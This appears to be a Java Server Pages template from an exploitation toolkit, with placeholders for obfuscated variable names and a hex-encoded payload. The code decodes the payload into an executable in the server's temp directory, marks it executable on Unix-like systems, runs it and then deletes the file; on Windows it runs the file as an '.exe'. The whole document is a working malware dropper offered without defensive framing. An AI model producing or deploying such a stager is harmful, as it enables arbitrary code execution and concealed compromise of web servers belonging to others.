<%%@ page import="java.io.*" %%> <%% String %{var_payload} = "%{payload}"; String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}"; if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { %{var_exepath} = %{var_exepath}.concat(".exe"); } int %{var_payloadlength} = %{var_payload}.length(); byte[] %{var_bytes} = new byte[%{var_payloadlength}/2]; for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) { %{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4) + Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16)); } FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath}); %{var_outputstream}.write(%{var_bytes}); %{var_outputstream}.flush(); %{var_outputstream}.close(); if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){ String[] %{var_fperm} = new String[3]; %{var_fperm}[0] = "chmod"; %{var_fperm}[1] = "+x"; %{var_fperm}[2] = %{var_exepath}; Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm}); if (%{var_proc}.waitFor() == 0) { %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); } File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete(); } else { String[] %{var_exepatharray} = new String[1]; %{var_exepatharray}[0] = %{var_exepath}; Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray}); } %%>